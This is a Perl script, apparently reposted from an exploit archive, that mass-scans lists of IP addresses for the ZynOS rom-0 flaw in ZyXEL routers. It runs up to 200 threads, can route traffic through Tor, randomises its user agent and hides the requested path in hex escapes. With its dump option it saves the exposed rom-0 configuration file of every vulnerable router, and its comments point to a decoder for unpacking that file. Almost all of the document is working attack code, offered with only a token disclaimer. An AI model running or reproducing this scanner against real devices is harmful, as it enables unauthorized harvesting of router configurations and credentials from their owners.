Share
## https://sploitus.com/exploit?id=PACKETSTORM:160972
#!/usr/bin/perl  
#  
# ZynOS rom-0 Flaw Scanner  
#  
# Copyright 2021 (c) Todor Donev <todor.donev at gmail.com>  
#  
# https://donev.eu/  
#  
#  
# $ perl zynos_scanner  
#  
# ZynOS rom-0 Flaw Scanner  
#   
# zynos_scanner --targets=<FILENAME> [ --threads=10 --redirects=7 ] --help  
#  
# --targets | Specify the list with addresses that you want to scan.  
# --dump | Dump rom-0 file for each target  
# --tor | Use Tor anonymity network  
# --timeout | Specify HTTP request timeout. Default: 60  
# --threads | Specify threads. Default: 10 / Maximum threads: 200  
# --redirects | Specify HTTP response redirects. Default: 3  
#   
# e.g. perl zynos_scanner --targets=portscan.log --threads=25  
# e.g. perl zynos_scanner --targets=portscan.log --threads=25 --tor  
# e.g. perl zynos_scanner --targets=portscan.log --threads=25 --tor --dump  
#   
#   
# Author: Todor Donev <todor.donev@gmail.com> https://donev.eu/  
#   
#  
# Install CPAN packages:  
#  
# $ cpan install Getopt::Long HTTP::Request LWP::UserAgent WWW::UserAgent::Random Data::Validate::IP MCE::Hobo MCE::Shared  
#  
#  
# Install rom-0 decoder/decompressor:  
#  
# $ git clone https://github.com/todordonev/zyxel-revert  
# $ cd zyxel-revert  
# $ make -f Makefile  
# $ ./decompress <FILENAME>  
#  
#   
# Disclaimer:  
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages   
# caused by direct or indirect use of the information or functionality provided by these programs.   
# The author or any Internet provider bears NO responsibility for content or misuse of these programs   
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,   
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!   
#  
#  
  
use strict;  
use warnings;  
  
use Getopt::Long;   
use HTTP::Request;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;   
use Data::Validate::IP;  
use MCE::Hobo 1.817;  
use MCE::Shared;  
  
my $queue1 = MCE::Shared->queue(fast => 1);  
my $queue2 = MCE::Shared->queue(fast => 1);  
  
my $redirects = 3;  
my $timeout = 60;  
my $targets = undef;  
my $threads = 10;  
my $tor = undef;  
my $dump = undef;  
my @rom_artifacts = ("\x62\x6F\x6F\x74", "\x73\x70\x74\x2E\x64\x61\x74", "\x61\x75\x74\x6F\x65\x78\x65\x63\x2E\x6E\x65\x74");  
  
printf("\n ZynOS rom-0 Flaw Scanner\n");  
  
sub help() {  
printf("\n $0 --targets=<FILENAME> [ --threads=10 --redirects=7 ] --help\n\n");  
printf(" %-12s | %s\n", "--targets", "Specify the list with addresses that you want to scan.");  
printf(" %-12s | %s\n", "--dump", "Dump rom-0 file for each target");  
printf(" %-12s | %s\n", "--tor", "Use Tor anonymity network");  
printf(" %-12s | %s\n", "--timeout", "Specify HTTP request timeout. Default: 60");  
printf(" %-12s | %s\n", "--threads", "Specify threads. Default: 10 / Maximum threads: 200");  
printf(" %-12s | %s\n\n", "--redirects", "Specify HTTP response redirects. Default: 3");  
printf(" e.g. perl $0 --targets=portscan.log --threads=25\n");  
printf(" e.g. perl $0 --targets=portscan.log --threads=25 --tor\n");  
printf(" e.g. perl $0 --targets=portscan.log --threads=25 --tor --dump\n\n\n");  
printf(" Author: Todor Donev <todor.donev\@gmail.com> https://donev.eu/\n\n\n");  
exit;  
}  
GetOptions(   
"targets=s" => \$targets,  
"timeout=i" => \$timeout,  
"redirects=i" => \$redirects,  
"threads=i" => \$threads,  
"tor" => \$tor,  
"dump" => \$dump,  
"help|h!" => \&help  
);  
help() if (!$targets);  
printf(" Error: TARGETLIST not exist, not readable, not plain or is empty!\n") and exit if (! -e $targets || -z $targets || ! -r $targets || ! -f $targets);  
printf(" Error: Timeout is too short. Minimum timeout: 10\n") and exit if ($timeout < 10);  
printf(" Error: Threads are too many. Maximum threads: 200\n") and exit if ($threads > 200);  
  
my @tmp_targets = ();  
my @targets = `cat $targets | grep -v '^[[:space:]]*[#;]' | uniq`;  
  
for my $line (@targets) {  
chomp($line);  
next if ($line =~ /^(\s*(#.*)?)?$/);  
next if (not is_ipv4($line));  
push @tmp_targets, $line;  
}  
  
@tmp_targets = sort { $a cmp $b } @tmp_targets;  
@targets = ();  
@targets = @tmp_targets;  
@tmp_targets = ();  
printf(" Error: There are not valid targets specified for scanning.\n") and exit if (scalar @targets == 0);  
  
printf("-------------------------------------------------------------------------------------------------------------\n");  
printf(" Target Code Status \n");  
printf("-------------------------------------------------------------------------------------------------------------\n");  
  
  
MCE::Hobo->create("work") for 1..$threads;  
  
$queue1->enqueue(@targets);  
$queue1->end;  
  
while (my $result = $queue2->dequeue) {  
if (exists $result->{finished}) {  
MCE::Hobo->waitone;  
$queue2->end unless MCE::Hobo->pending;  
next;  
}  
my ($target, $code, $status) = ($result->{target}, $result->{code}, $result->{status});  
printf(" %-30.30s %-40.40s %-50.50s\n", $target, $code, $status);  
}  
  
exit;  
  
sub work {  
while (my $addr = $queue1->dequeue()) {  
chomp($addr);  
my ($target, $code, $status) = scan($addr, $redirects, $timeout);  
$queue2->enqueue({ target => $target, code => $code, status => $status});  
}  
$queue2->enqueue({ finished => $$ });  
return;  
}  
  
sub scan {  
my ($addr, $redirects, $timeout) = @_;  
my $user_agent = rand_ua("browsers");  
my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });  
$browser->timeout($timeout);  
$browser->agent($user_agent);  
$browser->max_redirect($redirects);  
if (defined($tor)) {  
$browser->proxy([qw(http https)] => 'socks://127.0.0.1:9050');  
}  
my $target = "http://".$addr."\x2F\x72\x6F\x6D\x2D\x30";  
my $header = ["Content-Type" => "application/x-www-form-urlencoded; charset=UTF-8"];  
my $request = HTTP::Request->new (GET => $target, $header, "");   
my $response = eval{ $browser->request($request) };  
my $content = $response->content;  
my @matches = ();  
foreach my $artifact (@rom_artifacts) {  
if ($content =~ m/($artifact)/) {  
push @matches, $artifact;  
}  
}  
my $status = (scalar @matches == 3) ? "VULNERABLE" : "NOT VULNERABLE";  
my $code = $response->status_line() ? $response->status_line() : "ERROR";  
undef $response if ($code =~ m/401/);  
@matches = ();  
if (defined($dump)) {  
if (defined($response) && $response->is_success && $status eq "VULNERABLE") {  
my @config = $response->content;  
my $config_file = $addr."_rom-0";  
open (FH, "> $config_file") or die " Error: $config_file $!";  
flock (FH, 2);  
truncate (FH, 0);  
seek (FH, 0, 0);  
print (FH $_) foreach (@config);  
close (FH);  
@config = ();  
}  
}  
undef $response;  
return ($addr, $code, $status);  
}